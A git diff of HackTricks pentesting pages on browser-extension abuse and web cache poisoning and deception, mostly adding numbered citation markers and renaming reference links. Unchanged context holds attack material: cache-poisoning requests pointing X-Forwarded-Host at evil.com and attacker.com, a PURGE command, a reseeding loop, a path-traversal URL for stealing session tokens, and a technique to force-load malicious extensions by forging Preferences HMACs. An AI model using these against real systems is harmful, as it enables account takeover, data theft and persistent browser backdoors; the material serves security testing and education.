@@ -99,7 +99,7 @@ browext-xss-example.md ## DOM-based Extension Clickjacking (Password Manager Autofill UIs) -Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data. +Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data.[[3]](#references) ### Threat model @@ -214,8 +214,8 @@ document.addEventListener('mousemove', e => { ## References -- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html) -- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) -- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) +- [1] [Clickjacking PrivacyBadger](https://blog.lizzie.io/clickjacking-privacy-badger.html) +- [2] [MetaMask Clickjacking Vulnerability Analysis](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) +- [3] [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 3c92bb2750c..feb98000704 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -45,7 +45,7 @@ These are the hosts that the browser extension can access freely. This is becaus ### Cookies -The **`cookies`** permission allows the extension to access **all the cookies** of the browser. In [**this blog post**](https://theindiannetwork.medium.com/reverse-engineering-a-browser-extension-led-me-to-a-dangerous-exploit-25-000-bounty-c7dda4601753) this permissions was abused through a **vulnerable backdound script** to abuse a browser extension to give the attacker all cookies of the browser of the victim user that accessed the malicious web page. The vulnerable code was just sending back all the cookies: +The **`cookies`** permission allows the extension to access **all the cookies** of the browser. In [**this blog post**](https://theindiannetwork.medium.com/reverse-engineering-a-browser-extension-led-me-to-a-dangerous-exploit-25-000-bounty-c7dda4601753) this permissions was abused through a **vulnerable backdound script** to abuse a browser extension to give the attacker all cookies of the browser of the victim user that accessed the malicious web page.[[8]](#references) The vulnerable code was just sending back all the cookies: ```javascript chrome.runtime.onMessage.addListener( @@ -62,14 +62,14 @@ chrome.runtime.onMessage.addListener( ### Tabs -Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of user’s browser tabs** back but also learn which **web page (meaning address and title) is loaded**. +Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of user’s browser tabs** back but also learn which **web page (meaning address and title) is loaded**.[[1]](#references) > [!CAUTION] > Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab. ### Running content scripts -Content scripts aren’t necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). +Content scripts aren’t necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).[[1]](#references) Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused. @@ -78,7 +78,7 @@ Both APIs allow executing not merely files contained in the extensions as conten ### Implicit privileges -Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with. +Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with.[[1]](#references) Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isn’t**. @@ -91,7 +91,7 @@ If you look through possible `tabs.create()` parameters, you’ll also notice th ### Webcam, geolocation and friends -You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this. +You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this.[[1]](#references) > [!CAUTION] > Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once** @@ -108,7 +108,7 @@ The **`bookmarks`** **permission** has similar abuse potential, this one allows The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here. -However, advertising companies could also abuse this storage. +However, advertising companies could also abuse this storage.[[1]](#references) ### Search provider hijacking with `chrome_settings_overrides` @@ -125,11 +125,11 @@ A **low-permission** extension can still **take over omnibox searches** via **`c } ``` -This is useful for **search affiliate hijacking** because the extension might need **no content scripts**, **no background logic**, and **no extra API permissions** while still gaining access to a very sensitive data stream: user search intent. +This is useful for **search affiliate hijacking** because the extension might need **no content scripts**, **no background logic**, and **no extra API permissions** while still gaining access to a very sensitive data stream: user search intent.[[5]](#references) ### Auditing search-override abuse -When reviewing a browser extension, check whether the advertised feature matches the search override: +When reviewing a browser extension, check whether the advertised feature matches the search override:[[5]](#references) - Search for **`chrome_settings_overrides`**, **`search_provider`**, **`search_url`**, and **`is_default`** in `manifest.json`. - Flag **manifest-only shells** whose main behavior is changing the default search provider. @@ -140,7 +140,7 @@ When reviewing a browser extension, check whether the advertised feature matches ### Runtime redirect rules can hide the real routing -Static package review may still miss the real search flow. An extension can ship benign-looking static rules and then install the real redirect logic at runtime via **`chrome.declarativeNetRequest.updateDynamicRules()`**. +Static package review may still miss the real search flow. An extension can ship benign-looking static rules and then install the real redirect logic at runtime via **`chrome.declarativeNetRequest.updateDynamicRules()`**.[[5]](#references) Practical checks: @@ -151,7 +151,7 @@ Practical checks: ### More permissions -Manifest V3 split page access from API permissions: **`permissions`** still governs privileged APIs (cookies, tabs, history, scripting, etc.) while **`host_permissions`** controls which origins those APIs can touch. MV3 also made host permissions **runtime‑grantable**, so extensions can ship with none and pop a consent prompt later via `chrome.permissions.request()`—handy for legit least‑privilege flows, but also abused by malware to escalate after reputation is established. +Manifest V3 split page access from API permissions: **`permissions`** still governs privileged APIs (cookies, tabs, history, scripting, etc.) while **`host_permissions`** controls which origins those APIs can touch. MV3 also made host permissions **runtime‑grantable**, so extensions can ship with none and pop a consent prompt later via `chrome.permissions.request()`—handy for legit least‑privilege flows, but also abused by malware to escalate after reputation is established.[[4]](#references) A stealthy variant is **`declarativeNetRequestWithHostAccess`** (Chrome ≥96). It provides the same request‑blocking/redirect power as `declarativeNetRequest` but **shows a weaker install prompt** than `` host permissions. Malicious extensions use it to silently get “block/redirect on any site” capability; test prompts with `chrome://extensions/?errors` and `chrome://extensions/?id=`. @@ -176,28 +176,29 @@ Chrome raised MV3 rule limits (≈330k static / 30k dynamic), so large coverage ### Recent abuse patterns -* **Supply-chain trojanized updates:** Stolen developer accounts push MV3 updates that add `` plus `declarativeNetRequest`/`scripting`/`webRequest` to inject remote JS and siphon headers/DOM content. -* **Wallet drains:** Host access plus `storage` and `tabs` lets backdoored wallet extensions exfiltrate seeds; stolen Web Store API keys have been used to ship malicious builds. -* **Cookie theft:** Any extension with `cookies` + broad host access can read auth cookies despite `HttpOnly`—treat that combination as credential-stealing capable. +* **Supply-chain trojanized updates:** Stolen developer accounts push MV3 updates that add `` plus `declarativeNetRequest`/`scripting`/`webRequest` to inject remote JS and siphon headers/DOM content.[[3]](#references) +* **Wallet drains:** Host access plus `storage` and `tabs` lets backdoored wallet extensions exfiltrate seeds; stolen Web Store API keys have been used to ship malicious builds.[[3]](#references) +* **Cookie theft:** Any extension with `cookies` + broad host access can read auth cookies despite `HttpOnly`—treat that combination as credential-stealing capable.[[3]](#references) ## Prevention -The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store. +The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store.[[1]](#references) Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities. However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness. -## **References** +## References -- [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) -- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) -- [https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/) -- [https://developer.chrome.com/blog/resuming-the-transition-to-mv3/](https://developer.chrome.com/blog/resuming-the-transition-to-mv3/) -- [https://malext.io/reports/SearchJack/](https://malext.io/reports/SearchJack/) -- [https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override](https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override) -- [https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest](https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest) +- [1] [Impact of extension privileges](https://palant.info/2022/08/17/impact-of-extension-privileges/) +- [2] [Introduction to Chrome Browser Extension Security Testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) +- [3] [Malicious browser extensions (Feb 2025)](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/) +- [4] [Resuming the transition to Manifest V3](https://developer.chrome.com/blog/resuming-the-transition-to-mv3/) +- [5] [SearchJack report](https://malext.io/reports/SearchJack/) +- [6] [chrome_settings_overrides | Chrome Extensions manifest](https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override) +- [7] [declarativeNetRequest API | Chrome Extensions](https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest) +- [8] [Reverse engineering a browser extension led me to a dangerous exploit ($25,000 bounty)](https://theindiannetwork.medium.com/reverse-engineering-a-browser-extension-led-me-to-a-dangerous-exploit-25-000-bounty-c7dda4601753) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 328a19e0b7b..3ae8d6346fe 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -4,7 +4,7 @@ ## Cross-Site Scripting (XSS) through Iframe -In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe: +In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:[[1]](#references) ```javascript chrome.storage.local.get("message", (result) => { @@ -66,7 +66,7 @@ document.body.append(newFrame) ## DOM-based XSS + ClickJacking -This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). +This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).[[2]](#references) The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below: @@ -112,8 +112,8 @@ Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerabl ## References -- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) -- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) +- [1] [When extension pages are web-accessible](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) +- [2] [Steam, Fire, and Paste - A Story of UXSS via DOM XSS & Clickjacking in Steam Inventory Helper](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md index 931a9cc7280..3f6ca59125b 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md @@ -4,7 +4,7 @@ ## Overview -Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a user’s Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts. +Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a user’s Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts.[[1]](#references) > Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry. @@ -57,7 +57,7 @@ Notes: ## Extension IDs: path vs key and making them deterministic -Chromium derives the extension ID as follows: +Chromium derives the extension ID as follows:[[1]](#references) - Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p - Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p @@ -105,7 +105,7 @@ Add the generated public key into your manifest.json to lock the ID: ## Forging Preferences integrity MACs (core bypass) -Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139. +Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139.[[1]](#references)[[3]](#references) Extract the seed with GRIT pak_util and locate the seed container (file id 146 in tested builds): @@ -205,7 +205,7 @@ Related flags and more cross‑platform tricks are discussed here: ## Operational impact -Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences. +Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences.[[1]](#references) ## Detection and hardening @@ -218,9 +218,9 @@ Once accepted, the extension runs with its declared permissions, enabling DOM ac ## References -- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html) -- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py) -- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile) -- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) +- [1] [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html) +- [2] [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py) +- [3] [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile) +- [4] [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 56ca0dd3224..6796bbd8074 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -11,7 +11,7 @@ ## Cache Poisoning -Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination. +Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination.[[1]](#references) The execution of a cache poisoning assault involves several steps: @@ -59,13 +59,13 @@ Another interesting header is **`Vary`**. This header is often used to **indicat One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.[[1]](#references) ### Foundational cache poisoning case studies #### HackerOne global redirect via `X-Forwarded-Host` -- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`. +- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`.[[14]](#references) - Poison with: ```http @@ -78,7 +78,7 @@ X-Forwarded-Host: evil.com #### GitHub repository DoS via `Content-Type` + `PURGE` -- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo. +- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo.[[14]](#references) - GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand: ```bash @@ -90,7 +90,7 @@ curl -X PURGE https://github.com/user/repo #### Shopify cross-host persistence loops -- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties. +- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.[[14]](#references) - Use short automation loops to repeatedly reseed: ```python @@ -106,7 +106,7 @@ print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text) #### JS asset redirect → stored XSS chain -- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported. +- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported.[[14]](#references) ```http GET /assets/main.js HTTP/1.1 @@ -118,7 +118,7 @@ X-Forwarded-Host: attacker.com #### GitLab static DoS via `X-HTTP-Method-Override` -- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key. +- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key.[[14]](#references) ```http GET /static/app.js HTTP/1.1 @@ -138,11 +138,11 @@ Host: hackerone.com X-Forwarded-Scheme: http ``` -- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources. +- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.[[14]](#references) #### Cloudflare host-header casing mismatch -- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket. +- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket.[[14]](#references) ```http GET / HTTP/1.1 @@ -161,7 +161,7 @@ Host: www.redhat.com X-Forwarded-Host: a."?> ``` -- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors. +- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.[[14]](#references) ## Exploiting Examples @@ -191,11 +191,11 @@ In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.h - The CDN will cache anything under `/share/` - The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**. +- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.[[16]](#references) ### Using web cache poisoning to exploit cookie-handling vulnerabilities -Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response. +Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.[[2]](#references) ```html GET / HTTP/1.1 @@ -216,7 +216,7 @@ cache-poisoning-via-url-discrepancies.md ### Cache poisoning with path traversal to steal API key -[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. +[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.[[16]](#references) This is also explained better in: @@ -308,7 +308,7 @@ Operational tips: Impact: -- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML. +- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.[[7]](#references) ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection) @@ -322,7 +322,7 @@ Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known. +This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.[[9]](#references) For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE): @@ -338,11 +338,11 @@ ATS forwarded the fragment inside the URL without stripping it and generated the ### 403 and Storage Buckets -Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services. +Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.[[4]](#references) ### Injecting Keyed Parameters -Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error. +Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.[[4]](#references) ### User Agent Rules @@ -350,7 +350,7 @@ Some developers block requests with user-agents matching those of high-traffic t ### Illegal Header Fields -The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error. +The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.[[4]](#references) ### Finding new headers @@ -360,7 +360,7 @@ The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the accep The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. -First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. +First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.[[13]](#references) Other things to test: @@ -373,7 +373,7 @@ Other things to test: Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\ -Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before. +Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.[[3]](#references) Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file 